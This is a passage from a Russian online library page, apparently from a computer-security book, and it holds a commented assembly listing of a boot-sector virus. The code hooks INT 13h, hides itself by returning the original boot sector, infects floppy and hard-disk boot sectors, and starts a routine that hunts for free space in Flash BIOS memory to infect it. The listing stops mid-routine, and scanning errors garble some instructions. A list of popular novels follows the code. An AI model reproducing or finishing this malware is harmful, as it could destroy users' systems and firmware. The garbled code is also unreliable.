Чтение онлайн

на главную - закладки

Жанры

Защити свой компьютер на 100% от вирусов и хакеров
Шрифт:

MBR_Loader:

call int13h

; Сохраняем в стеке номер диска, с которого грузимся

push dx

; Проверяем, заражен ли Flash BIOS

cmp byte ptr cs:flash_done, 1

je Flash_resident

; Инфицируем Flash BIOS

call flash_BIOS

; Восстанавливаем из стека DX (номер загрузочного диска)

Flash_resident:

pop dx

; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)

db 0EAh

dw 7C00h

dw 0

;Скрываем

присутствие вируса методом чтения оригинального boot-сектора

Stealth:

; Останавливаем значения сектора, где хранится копия оригинального

; boot-сектора

mov cx, 02h

mov ax, 0201h

; Проверяем, откуда считан boot-сектор (дискета или жесткий диск),

; так как копии хранятся в разных местах

cmp dl, 80h

jae hd_stealth

mov cl, 14

mov dh, 1 hd_stealth:

; Читаем копию оригинального boot-сектора

call int13h

; Выходим из обработчика прерывания

jmp pop_exit

; Проверяем наличие резидентного вируса

restest:

xchgah, al

iret

; Обработчик прерывания INT 13h

Handler:

cmp ax, 0ABBAh

je restest

; Перехватываем только функцию 02h (чтение сектора): проверяем

; номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah, 2

jne jend

; Проверяем номера дорожки и сектора, интересуясь только теми

; секторами, в которых может оказаться вирус :

; дорожка 0, головка 0, сектор 1

cmp cx, 1

jne jend

; Проверим номер головки. Если не 0, то запустим

; оригинальный обработчик

cmp dh, 0

jne jend

tryinfect:

; Считаем сектор в буфер (для дальнейшей обработки).

; Для этого вызовем оригинальный INT 13h

call int13h

jc jend

; Сохраним регистры и флаги (обработчик не должен изменить их)

pushf

push ax

push bx

push cx

push dx

push si

push di

push es

push ds

; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;

Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker], "LV"

je stealth

; Если диск не заражен, то заражаем

cmp dl, 80h

jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого

; диска для сохранения оригинального boot-сектора

mov cx, 2

xor dh, dh

jmp write_virus

infect_Floppy:

; Установим номера дорожки, головки и сектора для дискеты

; для сохранения оригинального boot-сектора

mov сх, 14

mov dh, 1

Write_Virus:

; Записываем оригинальный boot-сектор

mov ax, 0301h

call int-lSh

jc pop_exit

;

Установим сегментный регистр ES на сегмент с вирусом

push cs

pop es

; Сбросим флаг зараженности Flash BIOS

mov byte ptr cs:flash_done, 0

; 3апишем тело вируса в boot-сектор

xor bx, bx

mov ax, 0301h

mov cx, 0001h

xor dh, dh

call int13h

; Восстановим регистры и флаги (как раз те их значения, которые

; свидетельствуют о том, что boot-сектор только что считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Выходим из обработчика в вызывающую программу

retf2

; 3апуск оригинального обработчика

jend:

DD 0EAh ; Код команды JMP FAR ;

Оригинальный вектор INT13h

i13 DD 0

; Вызов прерывания INT 13h

int13h proc near

pushf

call dword ptr cs:[i13]

ret

int13h endp

; Первые два байта слова используются как сигнатура

Marker db "VLAD"

; Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

; Проверим наличие Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios

; Сначала найдем хорошее место для хранения вируса.

; Просканируем память F000h-FFFFh, где обычно находится BIOS,

; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

; но выделить нужно с запасом

infect_Flash:

; Остановим начальный сегмент для поиска

mov ax, 0F000h

mov ds, ax

; Проверим сегмент

New_segment:

; Остановим стартовое смещение

xor si, si

; Остановим счетчик найденных байт

; (величина свободного места для вируса)

xor dx, dx

ok_new_segment:

; Перейдем к следующему сегменту

inc ax

mov ds, ax

; Проверим, есть ли еще место для вируса

cmp ax, 0FFF0h

je no_flash_BIOS

; Проверим, свободно ли место (для скорости проверяем словами)

test16:

cmp word ptr [si], 0

jne new_segment

; Увеличим счетчик размера найденного свободного места

inc dx

; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но

; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)

cmp dx, 512

je found_storage

; Увеличим смещение проверяемого байта

inc si

inc si

Поделиться:
Популярные книги

Не грози Дубровскому!

Панарин Антон
1. РОС: Не грози Дубровскому!
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Не грози Дубровскому!

Я – Стрела. Трилогия

Суббота Светлана
Я - Стрела
Любовные романы:
любовно-фантастические романы
эро литература
6.82
рейтинг книги
Я – Стрела. Трилогия

Кодекс Охотника. Книга ХХ

Винокуров Юрий
20. Кодекс Охотника
Фантастика:
попаданцы
альтернативная история
аниме
5.00
рейтинг книги
Кодекс Охотника. Книга ХХ

Путь Шедара

Кораблев Родион
4. Другая сторона
Фантастика:
боевая фантастика
6.83
рейтинг книги
Путь Шедара

Романов. Том 1 и Том 2

Кощеев Владимир
1. Романов
Фантастика:
фэнтези
попаданцы
альтернативная история
5.25
рейтинг книги
Романов. Том 1 и Том 2

Найди меня Шерхан

Тоцка Тала
3. Ямпольские-Демидовы
Любовные романы:
современные любовные романы
короткие любовные романы
7.70
рейтинг книги
Найди меня Шерхан

Вечный. Книга I

Рокотов Алексей
1. Вечный
Фантастика:
боевая фантастика
попаданцы
рпг
5.00
рейтинг книги
Вечный. Книга I

Дракон - не подарок

Суббота Светлана
2. Королевская академия Драко
Фантастика:
фэнтези
6.74
рейтинг книги
Дракон - не подарок

Барон не играет по правилам

Ренгач Евгений
1. Закон сильного
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Барон не играет по правилам

Я – Орк. Том 2

Лисицин Евгений
2. Я — Орк
Фантастика:
юмористическое фэнтези
попаданцы
аниме
5.00
рейтинг книги
Я – Орк. Том 2

Мимик нового Мира 10

Северный Лис
9. Мимик!
Фантастика:
юмористическое фэнтези
альтернативная история
постапокалипсис
рпг
5.00
рейтинг книги
Мимик нового Мира 10

Газлайтер. Том 10

Володин Григорий
10. История Телепата
Фантастика:
боевая фантастика
5.00
рейтинг книги
Газлайтер. Том 10

Кровь и Пламя

Михайлов Дем Алексеевич
7. Изгой
Фантастика:
фэнтези
8.95
рейтинг книги
Кровь и Пламя

Законы Рода. Том 5

Flow Ascold
5. Граф Берестьев
Фантастика:
юмористическое фэнтези
аниме
5.00
рейтинг книги
Законы Рода. Том 5